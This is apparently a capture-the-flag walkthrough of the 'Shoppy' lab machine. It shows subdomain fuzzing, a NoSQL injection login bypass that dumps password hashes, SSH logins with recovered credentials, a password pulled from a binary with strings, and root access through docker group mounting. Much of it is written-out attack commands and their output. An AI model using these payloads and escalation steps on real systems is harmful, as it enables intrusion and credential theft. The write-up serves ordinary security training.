Shoppy
Recon
HTTP (80)
Feroxbuster almost crashed the server, but it found login page.
└─$ feroxbuster -u 'http://shoppy.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt -D -C 400,404 -S 2066 -k --thorough -I .js,.css,.png
...
302 GET 1l 4w 28c http://shoppy.htb/admin => http://shoppy.htb/login
...admin:admin didn't work
No credentials so can't proceed. admin' AND 1=1 -- - took like year to return response, but that might be related to special chars in fields.
└─$ domain='shoppy.htb'; ffuf -k -u "http://$domain/" -H "Host: FUZZ.$domain" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -fl 8
Nothing
└─$ domain='shoppy.htb'; ffuf -k -u "http://$domain/" -H "Host: FUZZ.$domain" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -fl 8
Nothing
└─$ domain='shoppy.htb'; ffuf -k -u "http://$domain/" -H "Host: FUZZ.$domain" -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -mc all -fl 8
mattermost [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 86ms]
After too much fuzzing finally the application crashed and gave backtrace instead of Gateway Timeout. Reason for testing NoSQLi was because it accepted json data, and most probably it would work.
Username:
jaegar
The application probably crashed and each time it took like 2-3 minutes to restart and get response 💀
https://book.hacktricks.xyz/pentesting-web/nosql-injection#sql-mongo
Finally something worked.....
{"username":"x' || '1'=='1","password":"x"} // Failed
{"username":"admin' || '1'=='1","password":"x"} // Worked
If we search for admin user we can export details, password is not found in crackstation
[{"_id":"62db0e93d6d6a999a66ee67a","username":"admin","password":"23c6877d9e2b564ef8b32c3a23de27b2"}]Try NoSQLi payload again
admin' || 'a'=='a[
{
"_id": "62db0e93d6d6a999a66ee67a",
"username": "admin",
"password": "23c6877d9e2b564ef8b32c3a23de27b2"
},
{
"_id": "62db0e93d6d6a999a66ee67b",
"username": "josh",
"password": "6ebcea65320589ca4f2f1ce039975995"
}
]
Creds:
josh:remembermethisway
We can now login in chat application
Creds:
jaeger:Sh0ppyBest@pp!
SSH
└─$ sshpass -p 'Sh0ppyBest@pp!' ssh jaeger@shoppy.htb
jaeger@shoppy:~$ id
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger)User.txt
jaeger@shoppy:~$ cat user.txt
968fb59421e41468298ce64891e4f3acPrivilege Escalation (deploy)
jaeger@shoppy:~$ sudo -l
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-managerWith strings we can take a look at what' happening and luckily for us different encoding shows the password in plaintext
jaeger@shoppy:/home/deploy$ strings /home/deploy/password-manager | grep -v '^[._;\[]'
/lib64/ld-linux-x86-64.so.2
system
libstdc++.so.6
libgcc_s.so.1
libc.so.6
GCC_3.0
GLIBC_2.2.5
CXXABI_1.3
GLIBCXX_3.4
GLIBCXX_3.4.21
u/UH
Welcome to Josh password manager!
Please enter your master password:
Access granted! Here is creds !
cat /home/deploy/creds.txt
Access denied! This incident will be reported !
zPLR
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
completed.0
frame_dummy
password-manager.cpp
DW.ref.__gxx_personality_v0
system@GLIBC_2.2.5
jaeger@shoppy:/home/deploy$ strings /home/deploy/password-manager -el | grep -v '^[._;\[]'
Sample
jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!Privilege Escalation (root)
https://gtfobins.github.io/gtfobins/docker/
└─$ sshpass -p 'Deploying@pp!' ssh deploy@shoppy.htb
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cd /root
# ls
root.txtRoot.txt
# cat root.txt
f4f64720a859b9f098c1de4ac8139dcdLast updated